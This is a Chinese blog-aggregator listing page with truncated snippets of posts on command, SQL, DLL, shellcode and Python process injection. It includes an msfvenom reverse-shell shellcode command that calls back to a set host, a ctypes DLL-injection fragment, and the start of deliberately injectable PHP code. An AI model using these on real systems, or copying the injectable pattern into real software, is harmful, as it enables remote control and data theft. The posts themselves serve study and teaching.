一:tornado的基本介绍:Tornado就是在 FriendFeed 的 Web 服务器及其常用工具的开源版本  。Tornado 和主流 Web 服务器框架(包括大多数 Python的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利于其 非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个 理想框架。漏洞            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-06-16 08:20:03
                            
                                43阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            最近做测试的时候,发现不同平台/语言下命令注入的结果会有一定的不同,于是尝试对命令注入的成因做了一个更细致的探索。语言实现PHPPHP命令执行的函数很多,其中大部分函数的实现都在 php-src/ext/standard/exec.c 中:systemexecpassthruproc_openshell_exec其中 system / exec / passthru 的实现调用链都是 php_ex            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-07-20 16:26:10
                            
                                40阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            # Android 注入其他 App 进程的实现指南
在 Android 开发中,有时我们需要与其他应用程序进行交互,这通常涉及到“注入”其他应用程序的进程。本文旨在指导初学者如何实现这一过程,涵盖整个工作流、代码示例及相关图示。
## 一、流程概述
为了成功注入其他应用进程,我们需要按照以下步骤执行:
| 步骤 | 描述            
                
         
            
            
            
                  当app上线后发现紧急bug,如果重新发布版本周期比较长,并且对用户体验不好,此时热修复就派上用场了。热修复就是为紧急bug而生,能够快速修复bug,并且用户无感知。针对热修复,阿里系先后推出AndFix、HotFix、SophFix,腾讯系也推出QQ空间超级补丁、微信Tinker。在这里,主要讨论是注入dex实现热修复。    &nb            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-07-03 15:41:02
                            
                                240阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            这次我们来学习一下将shellcode注入本地进程内存并切执行的经典方法 首先生成我们的shellcode msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.104 LPORT=443 -f c -b \x00\x0a\x0d roo            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2021-07-16 10:11:11
                            
                                606阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            背景 如果将shellcode注入到具有特定权限的进程中,使用 ShellCode 创建            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2022-09-16 21:55:02
                            
                                190阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            目录修整
目前的系列目录(后面会根据实际情况变动):
在windows11上编译python
将python注入到其他进程并运行
使用C++写一个python的pyd库,用于实现inline hook
Python ctypes库的使用
使用ctypes主动调用进程内的任意函数
使用汇编引擎调用进程内的任意函数(为了调用不遵守任何一个调用约定的x86函数)
注入python到微信实现在Pytho            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2023-10-23 16:55:50
                            
                                204阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            cHaru前连接数据库操作#coding:utf-8
from pymysql import connect
#连接数据库
conn= connect(
        host='localhost',
        port = 3306,
        user='root',
        passwd='root',
        db ='ca',
        )
#创建操            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-06-25 18:44:54
                            
                                162阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            usage: pyrasite [-h] [--gdb-prefix GDB_PREFIX] [--verbose] [--output OUTPUT_TYPE] pid [filepath|payloadname]
pyrasite --list-payloads
pyrasite - inject code into a running python process
必要参数:
pid            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-06-21 00:20:53
                            
                                307阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            python中如果要创建新进程的话,可以使用os模块中的fork方法。为了了解其中工作原理,笔者结合linux的查看进程ps命令,对这个方法做了一些测试。 python运行时进程 python一开始运行的时候,系统会生成一个新的进程。先看下面代码: #!/usr/bin/env python
#coding=utf8
                  
from         t            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-08-10 14:41:53
                            
                                70阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            ah!其实没有标题说的那么严重!不过下面可是我们开发产品初期的一些血淋淋的案例,更多的安全威胁可以看看北北同学的《python hack》PPT,里面提及了不只命令执行的威胁,那些都是我们亲身经历的代码。千万要记得执行命令的时候,不要信任其他传入数据就行了,既然意识到问题,那么修复方法是多种多样的。在我们的系统中,多处出现问题然后修修补补是不靠谱的,那么我们需要一个通用的安全执行接口,这个接口过后            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-12-05 16:59:56
                            
                                33阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            一、sql注入概念介绍所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。二、Python中防止sql注入的方法i            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-06-16 04:11:45
                            
                                168阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            0x00前言:昨天刚刚看完小迪老师的sql注入篇的第一章所以有了新的笔记。0x01笔记:   sql注入原理:
网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作。
sql注入对渗透的作用:
获取数据
sql注入特性:
攻击方法由数据库类型决定
攻击结果由数据库决定
漏洞代码:
sql.php
<?php
$id=$_GET['x'];
$sql="se            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-11-23 12:40:49
                            
                                13阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            今天由于便于管理,需要修改多进程(包括子进程)的名称,网上的资料不多,基本上没有我想要的案例,今天摸索了下才实现了我的目的,下面具体说一下。 首先,修改进程名,主要依靠一个第三方的模块:setproctitle   详情见:https://pypi.org/project/setproctitle/用法很简单,基本就两个方法:setproctitle(title)Se            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-05-31 00:07:06
                            
                                130阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            简介:         python中的多进程主要使用到 multiprocessing 这个库。低版本python这个库在使用 multiprocessing.Manager().Queue时会出问题,建议大家升级到高版本python。一、多进程使用1、linux下可使用 fork 函数#!/bin/env python
import            
                
         
            
            
            
            这要看情况而定。例如,如果将依赖项注入用于测试目的(因此可以很容易地模拟出某些内容),则通常可以完全放弃注入:相反,可以模拟出要注入的模块或类:subprocess.Popen = some_mock_Popen
result = subprocess.call(...)
assert some_mock_popen.result == resultsubprocess.call()将调用subp            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-08-09 17:03:36
                            
                                201阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            import sys
from ctypes import *
FAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = 0x001F0FFF
VIRTUAL_MEN = (0x1000 | 0x2000)
kernel32 = windll.kernel32
user32 = windll.user32
pid = sys.argv[1]
dll_path =             
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2023-07-02 19:26:44
                            
                                199阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            GIL 全局解释器锁cpython解释器有,pypy解释器就没有GIL。GIL使得同一时刻,只有一个线程在cpu上执行字节码也无法将多个线程映射到多个cpu上import dis
def add(a):
	a = a + 1
	return a
	
print(dis.dis(add))
"""
多线程的时候,一个线程执行了一定的字节码后,会释放GIL锁
其他的线程,会有一个占用这个GIL锁            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                    
                            2024-03-04 10:11:39
                            
                                119阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            在现代软件开发中,尤其是涉及到动态语言如 Python 的应用程序中,DLL 注入进程的问题时有发生。DLL 注入是指将动态链接库(DLL)加载到其他进程的地址空间,从而实现对目标进程的干扰或控制。在这里,我们将深入探讨 Python DLL 注入过程中的问题,以期为开发者提供有效的解决方案。
### 问题背景
在实际开发中,Python 作为一种易于上手且功能强大的编程语言,使用广泛。然而,            
                
         
            
            
            
            # 如何实现 Python 进程等待其他进程结束
## 概述
在 Python 中,通常使用 `subprocess` 模块来创建和管理子进程,如果需要等待其他进程结束再继续执行,可以使用 `wait()` 或 `communicate()` 方法。本文将指导你如何实现这个过程。
### 流程步骤
以下是实现 Python 进程等待其他进程结束的流程步骤:
| 步骤 | 描述 |
| --            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2024-04-26 04:09:04
                            
                                33阅读